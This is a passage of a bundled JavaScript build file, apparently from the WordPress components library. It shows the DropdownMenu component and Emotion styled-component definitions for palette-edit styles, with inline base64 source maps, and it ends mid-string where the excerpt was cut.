37401 mergedProps.className = clsx_default(props.className, defaultProps.className);
37402 }
37403 return mergedProps;
37404 }
37405 function isFunction2(maybeFunc) {
37406 return typeof maybeFunc === "function";
37407 }
37408 function UnconnectedDropdownMenu(dropdownMenuProps) {
37409 const {
37410 children,
37411 className: className2,
37412 controls,
37413 icon = menu_default,
37414 label,
37415 popoverProps,
37416 toggleProps,
37417 menuProps,
37418 disableOpenOnArrowDown = false,
37419 text,
37420 noIcons,
37421 open,
37422 defaultOpen,
37423 onToggle: onToggleProp,
37424 // Context
37425 variant
37426 } = useContextSystem(dropdownMenuProps, "DropdownMenu");
37427 if (!controls?.length && !isFunction2(children)) {
37428 return null;
37429 }
37430 let controlSets;
37431 if (controls?.length) {
37432 controlSets = controls;
37433 if (!Array.isArray(controlSets[0])) {
37434 controlSets = [controls];
37435 }
37436 }
37437 const mergedPopoverProps = mergeProps2({
37438 className: "components-dropdown-menu__popover",
37439 variant
37440 }, popoverProps);
37441 return /* @__PURE__ */ (0, import_jsx_runtime180.jsx)(dropdown_default, {
37442 className: className2,
37443 popoverProps: mergedPopoverProps,
37444 renderToggle: ({
37445 isOpen,
37446 onToggle
37447 }) => {
37448 const openOnArrowDown = (event) => {
37449 if (disableOpenOnArrowDown) {
37450 return;
37451 }
37452 if (!isOpen && event.code === "ArrowDown") {
37453 event.preventDefault();
37454 onToggle();
37455 }
37456 };
37457 const {
37458 as: Toggle = button_default,
37459 ...restToggleProps
37460 } = toggleProps ?? {};
37461 const mergedToggleProps = mergeProps2({
37462 className: clsx_default("components-dropdown-menu__toggle", {
37463 "is-opened": isOpen
37464 })
37465 }, restToggleProps);
37466 return /* @__PURE__ */ (0, import_jsx_runtime180.jsx)(Toggle, {
37467 ...mergedToggleProps,
37468 icon,
37469 onClick: (event) => {
37470 onToggle();
37471 if (mergedToggleProps.onClick) {
37472 mergedToggleProps.onClick(event);
37473 }
37474 },
37475 onKeyDown: (event) => {
37476 openOnArrowDown(event);
37477 if (mergedToggleProps.onKeyDown) {
37478 mergedToggleProps.onKeyDown(event);
37479 }
37480 },
37481 "aria-haspopup": "true",
37482 "aria-expanded": isOpen,
37483 label,
37484 text,
37485 showTooltip: toggleProps?.showTooltip ?? true,
37486 children: mergedToggleProps.children
37487 });
37488 },
37489 renderContent: (props) => {
37490 const mergedMenuProps = mergeProps2({
37491 "aria-label": label,
37492 className: clsx_default("components-dropdown-menu__menu", {
37493 "no-icons": noIcons
37494 })
37495 }, menuProps);
37496 return /* @__PURE__ */ (0, import_jsx_runtime180.jsxs)(menu_default2, {
37497 ...mergedMenuProps,
37498 role: "menu",
37499 children: [isFunction2(children) ? children(props) : null, controlSets?.flatMap((controlSet, indexOfSet) => controlSet.map((control, indexOfControl) => /* @__PURE__ */ (0, import_jsx_runtime180.jsx)(button_default, {
37500 size: "compact",
37501 onClick: (event) => {
37502 event.stopPropagation();
37503 props.onClose();
37504 if (control.onClick) {
37505 control.onClick();
37506 }
37507 },
37508 className: clsx_default("components-dropdown-menu__menu-item", {
37509 "has-separator": indexOfSet > 0 && indexOfControl === 0,
37510 "is-active": control.isActive,
37511 "is-icon-only": !control.title
37512 }),
37513 icon: control.icon,
37514 label: control.label,
37515 "aria-checked": control.role === "menuitemcheckbox" || control.role === "menuitemradio" ? control.isActive : void 0,
37516 role: control.role === "menuitemcheckbox" || control.role === "menuitemradio" ? control.role : "menuitem",
37517 accessibleWhenDisabled: true,
37518 disabled: control.isDisabled,
37519 children: control.title
37520 }, [indexOfSet, indexOfControl].join())))]
37521 });
37522 },
37523 open,
37524 defaultOpen,
37525 onToggle: onToggleProp
37526 });
37527 }
37528 var DropdownMenu = contextConnectWithoutRef(UnconnectedDropdownMenu, "DropdownMenu");
37529 var dropdown_menu_default = DropdownMenu;
37530
37531 // packages/components/build-module/palette-edit/styles.mjs
37532 function _EMOTION_STRINGIFIED_CSS_ERROR__24() {
37533 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
37534 }
37535 var IndicatorStyled = /* @__PURE__ */ createStyled(color_indicator_default, false ? {
37536 target: "e1lpqc908"
37537 } : {
37538 target: "e1lpqc908",
37539 label: "IndicatorStyled"
37540 })("&&{flex-shrink:0;width:", space(6), ";height:", space(6), ";}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxQnVEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi9idXR0b24nO1xuaW1wb3J0IHsgSGVhZGluZyB9IGZyb20gJy4uL2hlYWRpbmcnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IFZpZXcgfSBmcm9tICcuLi92aWV3JztcbmltcG9ydCBJbnB1dENvbnRyb2wgZnJvbSAnLi4vaW5wdXQtY29udHJvbCc7XG5pbXBvcnQge1xuXHRDb250YWluZXIgYXMgSW5wdXRDb250cm9sQ29udGFpbmVyLFxuXHRJbnB1dCxcblx0QmFja2Ryb3BVSSBhcyBJbnB1dEJhY2tkcm9wVUksXG59IGZyb20gJy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCBDb2xvckluZGljYXRvciBmcm9tICcuLi9jb2xvci1pbmRpY2F0b3InO1xuXG5leHBvcnQgY29uc3QgSW5kaWNhdG9yU3R5bGVkID0gc3R5bGVkKCBDb2xvckluZGljYXRvciApYFxuXHQmJiB7XG5cdFx0ZmxleC1zaHJpbms6IDA7XG5cdFx0d2lkdGg6ICR7IHNwYWNlKCA2ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE5hbWVJbnB1dENvbnRyb2wgPSBzdHlsZWQoIElucHV0Q29udHJvbCApYFxuXHQkeyBJbnB1dENvbnRyb2xDb250YWluZXIgfSB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmdyYXlbIDEwMCBdIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdCR7IElucHV0IH0keyBJbnB1dCB9JHsgSW5wdXQgfSR7IElucHV0IH0ge1xuXHRcdFx0aGVpZ2h0OiAkeyBzcGFjZSggOCApIH07XG5cdFx0fVxuXHRcdCR7IElucHV0QmFja2Ryb3BVSSB9JHsgSW5wdXRCYWNrZHJvcFVJIH0keyBJbnB1dEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBOYW1lQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0bWFyZ2luLWxlZnQ6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5gO1xuXG5leHBvcnQgY29uc3QgUGFsZXR0ZUhlYWRpbmcgPSBzdHlsZWQoIEhlYWRpbmcgKWBcblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdCYmJiB7XG5cdFx0Zm9udC1zaXplOiAxMXB4O1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlQWN0aW9uc0NvbnRhaW5lciA9IHN0eWxlZCggVmlldyApYFxuXHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdENvbnRlbnRzID0gc3R5bGVkKCBWaWV3IClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdFN0eWxlcyA9IHN0eWxlZCggVmlldyApYFxuXHQmJiYge1xuXHRcdC5jb21wb25lbnRzLWJ1dHRvbi5oYXMtaWNvbiB7XG5cdFx0XHRtaW4td2lkdGg6IDA7XG5cdFx0XHRwYWRkaW5nOiAwO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IERvbmVCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHQmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJlbW92ZUJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYmIHtcblx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggMSApIH07XG5cdH1cbmA7XG4iXX0= */"));
37541 var NameInputControl = /* @__PURE__ */ createStyled(input_control_default, false ? {
37542 target: "e1lpqc907"
37543 } : {
37544 target: "e1lpqc907",
37545 label: "NameInputControl"
37546 })(Container, "{background:", COLORS.gray[100], ";border-radius:", config_values_default.radiusXSmall, ";", Input, Input, Input, Input, "{height:", space(8), ";}", BackdropUI, BackdropUI, BackdropUI, "{border-color:transparent;box-shadow:none;}}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE2QnNEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi9idXR0b24nO1xuaW1wb3J0IHsgSGVhZGluZyB9IGZyb20gJy4uL2hlYWRpbmcnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IFZpZXcgfSBmcm9tICcuLi92aWV3JztcbmltcG9ydCBJbnB1dENvbnRyb2wgZnJvbSAnLi4vaW5wdXQtY29udHJvbCc7XG5pbXBvcnQge1xuXHRDb250YWluZXIgYXMgSW5wdXRDb250cm9sQ29udGFpbmVyLFxuXHRJbnB1dCxcblx0QmFja2Ryb3BVSSBhcyBJbnB1dEJhY2tkcm9wVUksXG59IGZyb20gJy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCBDb2xvckluZGljYXRvciBmcm9tICcuLi9jb2xvci1pbmRpY2F0b3InO1xuXG5leHBvcnQgY29uc3QgSW5kaWNhdG9yU3R5bGVkID0gc3R5bGVkKCBDb2xvckluZGljYXRvciApYFxuXHQmJiB7XG5cdFx0ZmxleC1zaHJpbms6IDA7XG5cdFx0d2lkdGg6ICR7IHNwYWNlKCA2ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE5hbWVJbnB1dENvbnRyb2wgPSBzdHlsZWQoIElucHV0Q29udHJvbCApYFxuXHQkeyBJbnB1dENvbnRyb2xDb250YWluZXIgfSB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmdyYXlbIDEwMCBdIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdCR7IElucHV0IH0keyBJbnB1dCB9JHsgSW5wdXQgfSR7IElucHV0IH0ge1xuXHRcdFx0aGVpZ2h0OiAkeyBzcGFjZSggOCApIH07XG5cdFx0fVxuXHRcdCR7IElucHV0QmFja2Ryb3BVSSB9JHsgSW5wdXRCYWNrZHJvcFVJIH0keyBJbnB1dEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBOYW1lQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0bWFyZ2luLWxlZnQ6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5gO1xuXG5leHBvcnQgY29uc3QgUGFsZXR0ZUhlYWRpbmcgPSBzdHlsZWQoIEhlYWRpbmcgKWBcblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdCYmJiB7XG5cdFx0Zm9udC1zaXplOiAxMXB4O1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlQWN0aW9uc0NvbnRhaW5lciA9IHN0eWxlZCggVmlldyApYFxuXHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdENvbnRlbnRzID0gc3R5bGVkKCBWaWV3IClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdFN0eWxlcyA9IHN0eWxlZCggVmlldyApYFxuXHQmJiYge1xuXHRcdC5jb21wb25lbnRzLWJ1dHRvbi5oYXMtaWNvbiB7XG5cdFx0XHRtaW4td2lkdGg6IDA7XG5cdFx0XHRwYWRkaW5nOiAwO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IERvbmVCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHQmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJlbW92ZUJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYmIHtcblx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggMSApIH07XG5cdH1cbmA7XG4iXX0= */"));
37547 var NameContainer = /* @__PURE__ */ createStyled("div", false ? {
37548 target: "e1lpqc906"
37549 } : {
37550 target: "e1lpqc906",
37551 label: "NameContainer"
37552 })("line-height:", space(8), ";margin-left:", space(2), ";margin-right:", space(2), ";white-space:nowrap;overflow:hidden;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEyQ3VDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi9idXR0b24nO1xuaW1wb3J0IHsgSGVhZGluZyB9IGZyb20gJy4uL2hlYWRpbmcnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IFZpZXcgfSBmcm9tICcuLi92aWV3JztcbmltcG9ydCBJbnB1dENvbnRyb2wgZnJvbSAnLi4vaW5wdXQtY29udHJvbCc7XG5pbXBvcnQge1xuXHRDb250YWluZXIgYXMgSW5wdXRDb250cm9sQ29udGFpbmVyLFxuXHRJbnB1dCxcblx0QmFja2Ryb3BVSSBhcyBJbnB1dEJhY2tkcm9wVUksXG59IGZyb20gJy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCBDb2xvckluZGljYXRvciBmcm9tICcuLi9jb2xvci1pbmRpY2F0b3InO1xuXG5leHBvcnQgY29uc3QgSW5kaWNhdG9yU3R5bGVkID0gc3R5bGVkKCBDb2xvckluZGljYXRvciApYFxuXHQmJiB7XG5cdFx0ZmxleC1zaHJpbms6IDA7XG5cdFx0d2lkdGg6ICR7IHNwYWNlKCA2ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE5hbWVJbnB1dENvbnRyb2wgPSBzdHlsZWQoIElucHV0Q29udHJvbCApYFxuXHQkeyBJbnB1dENvbnRyb2xDb250YWluZXIgfSB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmdyYXlbIDEwMCBdIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdCR7IElucHV0IH0keyBJbnB1dCB9JHsgSW5wdXQgfSR7IElucHV0IH0ge1xuXHRcdFx0aGVpZ2h0OiAkeyBzcGFjZSggOCApIH07XG5cdFx0fVxuXHRcdCR7IElucHV0QmFja2Ryb3BVSSB9JHsgSW5wdXRCYWNrZHJvcFVJIH0keyBJbnB1dEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBOYW1lQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0bWFyZ2luLWxlZnQ6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5gO1xuXG5leHBvcnQgY29uc3QgUGFsZXR0ZUhlYWRpbmcgPSBzdHlsZWQoIEhlYWRpbmcgKWBcblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdCYmJiB7XG5cdFx0Zm9udC1zaXplOiAxMXB4O1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlQWN0aW9uc0NvbnRhaW5lciA9IHN0eWxlZCggVmlldyApYFxuXHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdENvbnRlbnRzID0gc3R5bGVkKCBWaWV3IClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdFN0eWxlcyA9IHN0eWxlZCggVmlldyApYFxuXHQmJiYge1xuXHRcdC5jb21wb25lbnRzLWJ1dHRvbi5oYXMtaWNvbiB7XG5cdFx0XHRtaW4td2lkdGg6IDA7XG5cdFx0XHRwYWRkaW5nOiAwO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IERvbmVCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHQmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJlbW92ZUJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYmIHtcblx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggMSApIH07XG5cdH1cbmA7XG4iXX0= */"));
37553 var PaletteHeading = /* @__PURE__ */ createStyled(component_default19, false ? {
37554 target: "e1lpqc905"
37555 } : {
37556 target: "e1lpqc905",
37557 label: "PaletteHeading"
37558 })("text-transform:uppercase;line-height:", space(6), ";font-weight:", config_values_default.fontWeightMedium, ";&&&{font-size:11px;margin-bottom:0;}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFtRCtDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi9idXR0b24nO1xuaW1wb3J0IHsgSGVhZGluZyB9IGZyb20gJy4uL2hlYWRpbmcnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IFZpZXcgfSBmcm9tICcuLi92aWV3JztcbmltcG9ydCBJbnB1dENvbnRyb2wgZnJvbSAnLi4vaW5wdXQtY29udHJvbCc7XG5pbXBvcnQge1xuXHRDb250YWluZXIgYXMgSW5wdXRDb250cm9sQ29udGFpbmVyLFxuXHRJbnB1dCxcblx0QmFja2Ryb3BVSSBhcyBJbnB1dEJhY2tkcm9wVUksXG59IGZyb20gJy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCBDb2xvckluZGljYXRvciBmcm9tICcuLi9jb2xvci1pbmRpY2F0b3InO1xuXG5leHBvcnQgY29uc3QgSW5kaWNhdG9yU3R5bGVkID0gc3R5bGVkKCBDb2xvckluZGljYXRvciApYFxuXHQmJiB7XG5cdFx0ZmxleC1zaHJpbms6IDA7XG5cdFx0d2lkdGg6ICR7IHNwYWNlKCA2ICkgfTtcblx0XHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE5hbWVJbnB1dENvbnRyb2wgPSBzdHlsZWQoIElucHV0Q29udHJvbCApYFxuXHQkeyBJbnB1dENvbnRyb2xDb250YWluZXIgfSB7XG5cdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLmdyYXlbIDEwMCBdIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdCR7IElucHV0IH0keyBJbnB1dCB9JHsgSW5wdXQgfSR7IElucHV0IH0ge1xuXHRcdFx0aGVpZ2h0OiAkeyBzcGFjZSggOCApIH07XG5cdFx0fVxuXHRcdCR7IElucHV0QmFja2Ryb3BVSSB9JHsgSW5wdXRCYWNrZHJvcFVJIH0keyBJbnB1dEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBOYW1lQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0bWFyZ2luLWxlZnQ6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5gO1xuXG5leHBvcnQgY29uc3QgUGFsZXR0ZUhlYWRpbmcgPSBzdHlsZWQoIEhlYWRpbmcgKWBcblx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0bGluZS1oZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5cdCYmJiB7XG5cdFx0Zm9udC1zaXplOiAxMXB4O1xuXHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlQWN0aW9uc0NvbnRhaW5lciA9IHN0eWxlZCggVmlldyApYFxuXHRoZWlnaHQ6ICR7IHNwYWNlKCA2ICkgfTtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdENvbnRlbnRzID0gc3R5bGVkKCBWaWV3IClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBQYWxldHRlRWRpdFN0eWxlcyA9IHN0eWxlZCggVmlldyApYFxuXHQmJiYge1xuXHRcdC5jb21wb25lbnRzLWJ1dHRvbi5oYXMtaWNvbiB7XG5cdFx0XHRtaW4td2lkdGg6IDA7XG5cdFx0XHRwYWRkaW5nOiAwO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IERvbmVCdXR0b24gPSBzdHlsZWQoIEJ1dHRvbiApYFxuXHQmJiB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJlbW92ZUJ1dHRvbiA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYmIHtcblx0XHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggMSApIH07XG5cdH1cbmA7XG4iXX0= */"));
37559 var PaletteActionsContainer = /* @__PURE__ */ createStyled(component_default, false ? {
37560 target: "e1lpqc904"
37561 } : {
37562 target: "e1lpqc904",
37563 label: "PaletteActionsContainer"
37564 })("height:", space(6), ";display:flex;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE2RHFEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJ1dHRvbiBmcm9tICcuLi9idXR0b24nO1xuaW1wb3J0IHsgSGVhZGluZyB9IGZyb20gJy4uL2hlYWRpbmcnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IFZpZXcgfSBmcm9tICcuLi92aWV3JztcbmltcG9ydCBJbnB1dENvbnRyb2wgZnJvbSAnLi4vaW5wdXQtY29udHJvbCc7XG5pbXBvcnQge1xuXHRDb250YWluZXIgYXMgSW5wdXRDb250cm9sQ29udGFpbmVyLFxuXHRJbnB1dCxcblx0QmFja2Ryb3BVSSBhcyBJbnB1dEJhY2tkcm9wVUksXG59IGZyb20gJy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCBDb2xvckluZGljYXRvciBmcm9tICcuLi9jb2xvci1pbmRpY2F0b3InO1xuXG5leHBvcnQgY29uc3QgSW5kaWNhdG9yU3R5bGVkID0gc3R5bGVkKCBDb2xvckluZGljYXRvc